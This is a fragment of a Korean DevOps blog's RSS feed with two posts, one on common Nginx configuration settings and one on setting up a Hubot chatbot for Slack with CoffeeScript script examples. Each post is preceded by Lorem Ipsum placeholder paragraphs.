"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 주로 사용하는 <strong>Nginx 설정</strong>들에 대해서 정리를 해보도록 하겠습니다.

필자가 속한 프로젝트에서는 FE에 대한 서버를 Nginx로 사용하고 있습니다. Nginx에 index.html을 서빙하는 방식으로 이용하고 있습니다.

그러다보니 Nginx에 대한 셋팅 혹은 설정을 많이 하게 되는데 주로 사용하는 것들에 대해서 정리를 해두어서 참고하고자 합니다.

<h2>1. nginx.conf 설정</h2>

<h3>worker_process</h3>

nginx의 실행 가능한 worker 프로세스의 수를 지정해 줄 수 있습니다. nginx는 master와 worker 프로세스로 구성이 되는데요.

공식문서에 의하면, 최적값은 <strong>cpu core</strong>를 사용하라고 권고 하고 있습니다.

<pre><code class="line-numbers">worker_processes        4; # number of CPU cores
</code></pre>

<h3>worker_rlimit_nofile</h3>

worker process들에서 최대로 열린 파일들의 수를 제한 할 수 있습니다. 이 수가 클 수록 메인 프로세스를 재시작 할 필요가 없어진다고 합니다. 하지만 너무 많은 수의 파일이 열려있으면, 서버에 부하를 발생시킵니다.

<pre><code class="line-numbers">worker_rlimit_nofile    20000; # sockets, fds per worker process
</code></pre>

<h3>events 블록 &#8211; worker_connections</h3>

Proxy 서버를 통해 연결된 커넥션들을 포함한 클라이언트들의 모든 커넥션들의 숫자를 고려해야 합니다. worker_rlimit_nofile의 값을 넘어서는 안된다.

<pre><code class="line-numbers">events {
    worker_connections  3000; # total supported connection : 4 x 3000 = 12000
}
</code></pre>

<h2>2. http 블록</h2>

<h3>Include &#038; default_type</h3>

core_module에 있는 설정으로, include는 다른 파일을 가져올 수 있습니다. 아래의 mime.types와 같이 위에서 정의한 types를 파일로 빼내서, include지시어를 이용해 가져올 수 있습니다.

아래에서는 types의 default_type도 정의해 주었습니다.

<pre><code class="line-numbers">include       mime.types;
default_type  application/octet-stream;
</code></pre>

<h3>keepalive</h3>

한번 맺어 놓은 연결에 대해서는 keepalive timeout 시점까지는 연결을 지속적으로 허용해두는 설정입니다. 서버를 사용하지 않는 혹은 못하는 Connection까지 모두 keep 하고 있으므로 자원의 손실이 발생하게 됩니다.

<pre><code class="line-numbers">keepalive_timeout   30s;
keepalive_requests  128; 
</code></pre>

<h3>client_body_timeout</h3>

client의 request body를 읽을 때의 timeout을 정의합니다. 기본값은 60s로 되어 있습니다.

<pre><code class="line-numbers"># timeout for client
client_body_timeout     3s;
client_header_timeout   3s;
client_max_body_size    1m;
</code></pre>

<h3>send_timeout</h3>

client에게 response를 전송할 떄의 timeout값을 설정합니다. client가 아무것도 받지 못하면, connection이 closed 됩니다. 기본값은 60초로 되어있습니다.

<pre><code class="line-numbers">send_timeout            3s;
</code></pre>

<h2>3. Server 블록</h2>

<h3>server</h3>

server_name은 가상 서버의 이름을 정할 때 사용합니다. 아래는 80 port로 접속시 443으로 전환 시켜주는 내용입니다.

<pre><code class="line-numbers">server {
    listen 80;
    server_name test.store.com;
    rewrite ^(.*) https://test.store.com$1 permanent;
}
</code></pre>

<h3>Location 우선순위</h3>

nginx에서 가장 중요한 부분입니다. request URI에 따른 설정을 하는 곳입니다. URI에 대한 매칭은 텍스트 값을 prefix로 하여서 매칭하거나 주어진 정규식을 이용해서 매칭할 수 있습니다.

<table>
<thead>
<tr>
  <th>=</th>
  <th>패턴과 정확하게 일치 할 때 사용. URI검색시 가장 우선순위가 높습니다. $host정보에 /test.png로 정확하게 매치가 될 때 사용합니다. 하지만, 만약 &#8220;=/test&#8221;와 같이 사용할 경우, &#8220;$host/test&#8221;는 일치하여서 매칭이 되지만, &#8220;$host/test/&#8221;는 매칭되지 않아버리므로, 주의를 기울여서 사용해야 합니다.</th>
</tr>
</thead>
<tbody>
<tr>
  <td>~</td>
  <td>대소문자를 구별하여 정규표현식과 일치할 때 사용 보통은 아래의 기호를 더 많이 사용하게 됩니다.</td>
</tr>
<tr>
  <td>~*</td>
  <td>대소문자 구별하지 않고 정규표현식과 일치할 때 사용 ex) location ~* &#46;(gif&#124;jpg&#124;jpeg)$ {  return 200 &#8220;found&#8221; }</td>
</tr>
<tr>
  <td>^~</td>
  <td>지정한 패턴으로 시작할 때 사용.</td>
</tr>
<tr>
  <td></td>
  <td>아무기호도 없이 텍스트를 사용하면, prefix로 사용해서 해당 텍스트로 시작하는 URI를 찾는다.</td>
</tr>
<tr>
  <td>@name</td>
  <td>이름을 붙여서, location 블럭을 정의한다. 내부 요청에 의해서만 접근할 수 있는데요. 아래와 같이 사용될 수 있습니다.   location {   try_files $uri @mylabel;  } location @mylabel { return 404 &#8220;Not Found&#8221;}</td>
</tr>
</tbody>
</table>

<h3>Header Setting</h3>

FE에 대한 서빙을 하다보면, index.html 페이지의 배포가 자주 일어나는데, 이부분이 브라우저 혹은 중간 CDN 서버에 캐싱이 되어있으면, 사용자 측에서 변경이 반영이 안된것으로 노출이 되게 됩니다.

이러한 부분을 캐시 설정을 통해서 서버의 변경사항을 바로 보여줄 수 있도록 설정할 수 있습니다.

<pre><code class="line-numbers">        location / {
...
...
            add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate";
        }
</code></pre>

<h3>Access Control</h3>

Public open을 앞둔 서비스는 사내망에서 혹은 특정 허용된 사용자만을 노출하기 위해서 제한을 할 수 있습니다.

<pre><code class="line-numbers">location ~ ^/internal-api/v1/circuit-breaker/(turn-off|turn-on)$ {
            if ($request_method != POST ) {
                    return 405;
            }
            allow 10.XXX.XX.X/32;
            deny all;
}
</code></pre>

<h3>Rewrite</h3>

rewrite은 server, location, if블록에서 사용할 수 있습니다. 마지막 flag값으로는 last, break, redirect, permanent가 있습니다. 마지막 permanent의 값은 301코드와 함께, 영원히 redirect시키는 flag입니다.

<pre><code class="line-numbers">location /test/api {
    rewrite ^/test/api(/.*)$ $1 break; // "/test/api를 제외한 URI로 전달"
    proxy_pass https://lan3rd.line.me;
    proxy_next_upstream error timeout;
    proxy_redirect off;
    proxy_connect_timeout 2s;

    proxy_set_header Host $http_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}  
</code></pre>

<h3>Return</h3>

nginx에서 rewrite를 하는 방법으로는 지시어 rewrite와 return하는 두가지 방법이 있습니다. 되도록 return을 사용하도록 권고하고 있습니다.

<pre><code class="line-numbers">server {
    listen 80;
    server_name .test.com;
    location / {
        return 301 https://$host$request_uri;
    }
}
</code></pre>

<h3>Proxy_set_header</h3>

중계 받는 nodejs 같은 서버에 request header를 다시 재정의해서 전달할 때 사용합니다.

<pre><code class="line-numbers">        location / {
            proxy_pass http://test_upstream;
            proxy_next_upstream error timeout;
            proxy_redirect off;
            proxy_connect_timeout 2s;

            proxy_set_header Host $http_host;
            proxy_set_header X-Real-IP $remote_addr;

            proxy_set_header X-Forwarded-Proto https;
            proxy_set_header X-Forwarded-Server $host;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_http_version 1.1;
            proxy_set_header Connection "";

            proxy_hide_header x-envoy-decorator-operation;
            proxy_hide_header x-envoy-upstream-service-time;

            add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate";
        }
</code></pre>

<h2>4. 마치며..</h2>

Nginx 는 이미 만들어진 미들웨어(중간 소프트웨어) 제품입니다. 여러가지 설정들을 통해서 필자가 운영하는 서비스들에 좀 더 안정적으로 트래픽 제어 혹은 보안적인 측면에서 효율적으로 관리를 할 수 있다는 생각을 했습니다.

설정들에 대해서 하나하나 세세히 알기 쉽지는 않겠지만, 주로 설정하는 내용들에 대해서 미리 알고 있다면 조금 더 운영함에 있어서 손 쉽게 운영할 수 있을 것이라는 생각을 해봤습니다.

다음시간에는 <strong>Nginx의 통합</strong> 시리즈에 대해서 정리를 해보겠습니다.
<h2 class="wp-block-heading">함께 보면 좋은 글</h2>
<ul class="wp-block-list"><li><a href="https://blog.wonizz.com/2020/10/20/nginx-configuration/">[DevOps] Nginx Configuration 정리</a></li><li><a href="https://blog.wonizz.com/2021/03/03/devops-rinetd-portforward/">[DevOps] Rinetd를 활용한 portforward</a></li><li><a href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a></li><li><a href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a></li></ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/07/03/devops-nginx-configuration/">[DevOps] 주로 사용하는 Nginx 설정</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2023/07/03/devops-nginx-configuration/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2046</post-id>	</item>
		<item>
		<title>[DevOps] Hubot 적용기</title>
		<link>https://blog.wonizz.com/2023/05/11/devops-hubot-automation-1/</link>
					<comments>https://blog.wonizz.com/2023/05/11/devops-hubot-automation-1/#comments</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Thu, 11 May 2023 12:53:16 +0000</pubDate>
				<category><![CDATA[kubernetes]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.tk/?p=2037</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 hubot 적용기에 대해서 정리를 해보도록 하겠습니다. 필자는 DevOps업무를 하다보니, 주로 여러개의 개발팀으로부터의 요청들 (CI/CD설정, 네트워크, 인프라, 모니터링 등)에 대해서 처리를 해주는 업무를 합니다. 요청양도 최근들어 꽤나 늘어났고, 요청의 범주도 굉장히 다양하기 때문에 Slack W/F를 통해서 모든것으르 제어하기는 어려운 시점이 왔습니다. JIRA의 티켓을 수동으로 등록하여 관리를 하고있었는데, 이부분을 자동화 시키고 슬랙&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/05/11/devops-hubot-automation-1/">[DevOps] Hubot 적용기</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 hubot 적용기에 대해서 정리를 해보도록 하겠습니다. 필자는 <strong>DevOps</strong>업무를 하다보니, 주로 여러개의 개발팀으로부터의 요청들 (CI/CD설정, 네트워크, 인프라, 모니터링 등)에 대해서 처리를 해주는 업무를 합니다.

요청양도 최근들어 꽤나 늘어났고, 요청의 범주도 굉장히 다양하기 때문에 <strong>Slack W/F</strong>를 통해서 모든것으르 제어하기는 어려운 시점이 왔습니다.

<strong>JIRA</strong>의 티켓을 수동으로 등록하여 관리를 하고있었는데, 이부분을 자동화 시키고 슬랙 Thread상에서 일감을 처리하면 자동 종료까지 되는 부분으로 업무의 프로세스를 개선하고 싶었습니다.

<h2>1. hubot 소개</h2>

<ul>
<li>Hubot 은 깃헙의 사내용으로 제작된 챗봇이지만, 많은 발전을 거듭하여 현재 오픈소스로 공개되어있습니다. Node 기반이며, Slack과 친화적입니다.</li>
<li>휴봇의 가장 큰 장점은 간단한 스크립트(CoffeeScript, JavaScript) 작성을 통해 강력한 기능을 추가할 수 있다는 점입니다.</li>
<li>특정 단어 혹은 문장에 따라 <strong>프로세스</strong>를 정의할 수 있습니다. 이미 구축된 스크립트들도 많이 공개 되어있어 손쉽게 스크립트를 추가하여 구현할 수 있습니다.</li>
</ul>

<pre><code class="language-coffeescript line-numbers">enterReplies = ['Hi', 'Target Acquired', 'Firing', 'Hello friend.', 'Gotcha', 'I see you']
leaveReplies = ['Are you still there?', 'Target lost', 'Searching']

module.exports = (robot) ->
  robot.enter (res) ->
    res.send res.random enterReplies
  robot.leave (res) ->
    res.send res.random leaveReplies

[출처] https://blog.hax0r.info/2017-05-14/slack-developer-kit-for-hubot/  [Hax0r blog]
</code></pre>

스크립트를 통해 Local 혹은 Heroku를 통해 배포하여 슬랙과 연동할 수 있습니다.

<ul>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-diagnostics" target="_blank" rel="noopener">hubot-diagnostics</a>: 간단한 기본기능들이 들어있다. 위에서 사용했던 <code>ping</code>을 이 모듈이 응답한 것이다. 그 외 <code>time</code>과 <code>echo</code>도 있다.</li>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-help" target="_blank" rel="noopener">hubot-help</a>: 현재 hubot의 명령어들을 표시해준다. script들의 # Commands 들을 가져와서 뿌려주는 역할을 한다.</li>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-pugme" target="_blank" rel="noopener">hubot-pugme</a>: 설명을 보면은 가장 중요한 휴봇 스크립트라고 적혀있다. 기능은 퍼그 이미지 url을 랜덤으로 가져오는 것이다. 하지만 2년이 지나서 그런지 url이 유효하지 않다.</li>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-rules" target="_blank" rel="noopener">hubot-rules</a>: hubot의 룰을 설명한다. <code>> hubot rules</code>으로 볼 수 있다.</li>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-shipit" target="_blank" rel="noopener">hubot-shipit</a>: 가지고 있는 이미지URL중 랜덤으로 하나를 보내준다. <code>hubot-pugme</code>와 마찬가지로 유효한 URL이 별로 없다.</li>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-heroku-keepalive" target="_blank" rel="noopener">hubot-heroku-keepalive</a>: 무료 heroku를 사용할 경우 하루 사용시간 제한이 있기 때문에 필요한 것 같다.</li>
<li><a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-redis-brain" target="_blank" rel="noopener">hubot-redis-brain</a>: hubot의 brain기능을 redis로 이용하는 것이다.
<a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-google-images" target="_blank" rel="noopener">hubot-google-images</a>와 <a class="wp-editor-md-post-content-link" href="https://github.com/hubot-scripts/hubot-google-translate" target="_blank" rel="noopener">hubot-google-translate</a>는 이름에서도 알 수 있듯이 구글의 API키를 받아서 구글 서비스를 사용할 때 필요하다.
<a class="wp-editor-md-post-content-link" href="https://github.com/gkoo/hubot-maps" target="_blank" rel="noopener">hubot-maps</a>도 구글의 맵서비스를 이용하는 것이다.</li>
</ul>

<h2>2. hubot 설치 및 설정</h2>

hubot은 기본적으로 node기반으로 수행되는 어플리케이션입니다. 따라서 npm과 node가 설치되어있어야 설치가 가능합니다.

<ul>
<li>node version : v16.17.0</li>
<li>npm version : 8.15.0</li>
</ul>

<h3>2-1. hubot 설치</h3>

<pre><code class="language-bash line-numbers">$ npm install -g yo generator-hubot
</code></pre>

여기서 <a class="wp-editor-md-post-content-link" href="http://yeoman.io/" target="_blank" rel="noopener">yoman</a> 이라는것을 같이 설치하게 되는데, 간단하게 말하면 구조를 어플리케이션의 구조를 잡아주는 도구라고 보시면 됩니다.

<pre><code class="language-bash line-numbers">$ mkdir -p ~/apps/devops
$ cd ~/apps/devops
$ yo hubot --adapter=slack
</code></pre>

여기서 몇가지 Interactive Question을 받게 되는데, 간단하게 입력을 하면됩니다.

<h3>2-2. hubot 설정</h3>

이제 간단하게 hubot 설치는 마쳤습니다. Hubot 기능중에 데이터 유지를 위해서 Redis module이 자동적으로 들어가있는데 이부분을 제거해야 합니다.

<pre><code class="language-bash line-numbers"># external-script.json
[]
</code></pre>

external-script.json에는 hubot에 필요한 모듈들을 탑재할 수 있는데, 별도의 서버에서 구성을 진행하기 때문에 모든 내용들을 삭제해줘도 무방합니다. 밑의 내용은 필수적으로 삭제를 진행합니다.

<ul>
<li>hubot-heroku-keepalive</li>
<li>hubot-redis-brain</li>
</ul>

<pre><code class="language-bash line-numbers"># ~/apps/devops/node_modules/hubot/src/hubot.js
...
const port = process.env.EXPRESS_PORT || process.env.PORT || 8083
...
</code></pre>

port도 겹치지 않게 custom port로 변경을 해줍니다.

<h3>2-3. Slack 설정</h3>

Hubot 사용의 가장 큰 목적은 Slack을 통해서 <strong>ChatOps</strong>를 구현하기 위함입니다. 따라서 Slack에 앱을 추가하고 연동을 하는 작업이 필요합니다.

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2023/05/hubot_1.png?w=1200&#038;ssl=1" alt="DevOps Hubot 적용기 설명 이미지 1" />

Slack 앱을 추가하면 Hubot 설정 페이지가 나오게 되고, 그곳에서 Hubot의 <strong>Token</strong>값을 얻을 수 있습니다.

<h3>2-4. Hubot 실행</h3>

<pre><code class="language-bash line-numbers">$ HUBOT_SLACK_TOKEN=xoxb-... ./bin/hubot --adapter slack
</code></pre>

hubot을 실행하게 되면, Slack상에 Hubot이 연결이 되면서 연결중으로 접속이 표시가 됩니다. 이렇게 되면 설치 &amp; 설정이 마무리 된것이고, Hubot에 대한 Script를 작성해서 기능을 추가하면 됩니다.

<h2>3. hubot script 가이드</h2>

hubot은 script를 통해서 기능 확장이 가능하고, 현재 open source로 나와있는 여러가지 Script들을 참고 할 수도 있습니다.

<ul>
<li><a class="wp-editor-md-post-content-link" href="https://hubot.github.com/docs/scripting/" target="_blank" rel="noopener">Hubot Script Guide</a>

<ul>
<li>.coffee 혹은 .js 파일로 작성이 가능합니다.</li>
</ul></li>
</ul>

<h3>3-1. send/ reply / emote</h3>

<pre><code class="language-bash line-numbers"># 경로에 script 작성 /apps/devops/scripts
# send : room으로 왔으면 room으로 전달, DM으로 오면 DM으로 전달
# reply : thread에 댓글 형식으로 메시지 전달
# emote : room으로 메시지 전달 
module.exports = (robot) -> 
  robot.hear /badger/i, (res) ->
    res.send "Badgers? BADGERS? WE DON'T NEED NO STINKIN BADGERS"

  robot.respond /open the pod bay doors/i, (res) ->
    res.reply "I'm afraid I can't let you do that."

  robot.hear /I like pie/i, (res) ->
    res.emote "makes a freshly baked pie"


</code></pre>

<h3>3-2. messageRoom</h3>

<pre><code class="language-bash line-numbers"># messageRoom 기능을 이용하여 지정된 방이나 사용자에게 메시지를 보낼 수 있습니다.
module.exports = (robot) ->
  robot.hear /green eggs/i, (res) ->
    room = "mytestroom"
    robot.messageRoom room, "I do not like green eggs and ham.  I do not like them sam-I-am."

  robot.respond /I don't like Sam-I-am/i, (res) ->
    room =  'joemanager'
    robot.messageRoom room, "Someone does not like Dr. Seus"
    res.reply  "That Sam-I-am\nThat Sam-I-am\nI do not like\nthat Sam-I-am"

  robot.hear /Sam-I-am/i, (res) ->
    room =  res.envelope.user.name
    robot.messageRoom room, "That Sam-I-am\nThat Sam-I-am\nI do not like\nthat Sam-I-am"
</code></pre>

<h3>3-3. Capturing</h3>

<pre><code class="language-bash line-numbers"># 정규식에 대해 들어오는 메시지를 처리할 수 있습니다. 
  robot.respond /open the (.*) doors/i, (res) ->
    doorType = res.match[1]
    if doorType is "pod bay"
      res.reply "I'm afraid I can't let you do that."
    else
      res.reply "Opening #{doorType} doors"
</code></pre>

<h3>3-4. HTTP 호출하기</h3>

<pre><code class="language-bash line-numbers"># Hubot은 3rd API들과 연계하기 위해서 HTTP 호출을 할 수 있습니다.
  data = JSON.stringify({
    foo: 'bar'
  })
  robot.http("https://midnight-train")
    .header('Content-Type', 'application/json')
    .post(data) (err, res, body) ->
      # your code here
      if err
        res.send "Encountered an error : ( #{err}"
        return
      # your code here, knowing it was successful   

      if res.statusCode isnt 200
        res.send "Request didn't come back HTTP 200 : ("
        return

      # RateLimit을 이용하여 호출량을 조절
      rateLimitRemaining = parseInt res.getHeader('X-RateLimit-Limit') if res.getHeader('X-RateLimit-Limit')
      if rateLimitRemaining and rateLimitRemaining < 1
        res.send "Rate Limit hit, stop believing for awhile"      

</code></pre>

<h3>3-5.  HTTP 수신기</h3>

<pre><code class="language-bash line-numbers"># Hubot은 HTTP 요청을 처리하기 위한 익스프레스 웹 프레임워크에 대한 지원을 포함합니다. 
# 해당 포트로 정적파일 제공도 가능합니다.

module.exports = (robot) ->
  # the expected value of :room is going to vary by adapter, it might be a numeric id, name, token, or some other value
  robot.router.post '/hubot/chatsecrets/:room', (req, res) ->
    room   = req.params.room
    data   = if req.body.payload? then JSON.parse req.body.payload else req.body
    secret = data.secret

    robot.messageRoom room, "I have a secret: #{secret}"

    res.send 'OK'

# Curl을 이용하여 테스트
// raw json, must specify Content-Type: application/json
curl -X POST -H "Content-Type: application/json" -d '{"secret":"C-TECH Astronomy"}' http://127.0.0.1:8080/hubot/chatsecrets/general

// defaults Content-Type: application/x-www-form-urlencoded, must st payload=...
curl -d 'payload=%7B%22secret%22%3A%22C-TECH+Astronomy%22%7D' http://127.0.0.1:8080/hubot/chatsecrets/general
</code></pre>

<h3>3-6. 기타 기능</h3>

<pre><code class="language-bash line-numbers"># Randomize
lulz = ['lol', 'rofl', 'lmao']

res.send res.random lulz

# Detect Enter & Exit
enterReplies = ['Hi', 'Target Acquired', 'Firing', 'Hello friend.', 'Gotcha', 'I see you']
leaveReplies = ['Are you still there?', 'Target lost', 'Searching']

module.exports = (robot) ->
  robot.enter (res) ->
    res.send res.random enterReplies
  robot.leave (res) ->
    res.send res.random leaveReplies

# Brain 
robot.respond /have a soda/i, (res) ->
  # Get number of sodas had (coerced to a number).
  sodasHad = robot.brain.get('totalSodas') * 1 or 0

  if sodasHad > 4
    res.reply "I'm too fizzy.."

  else
    res.reply 'Sure!'

    robot.brain.set 'totalSodas', sodasHad+1
robot.respond /sleep it off/i, (res) ->
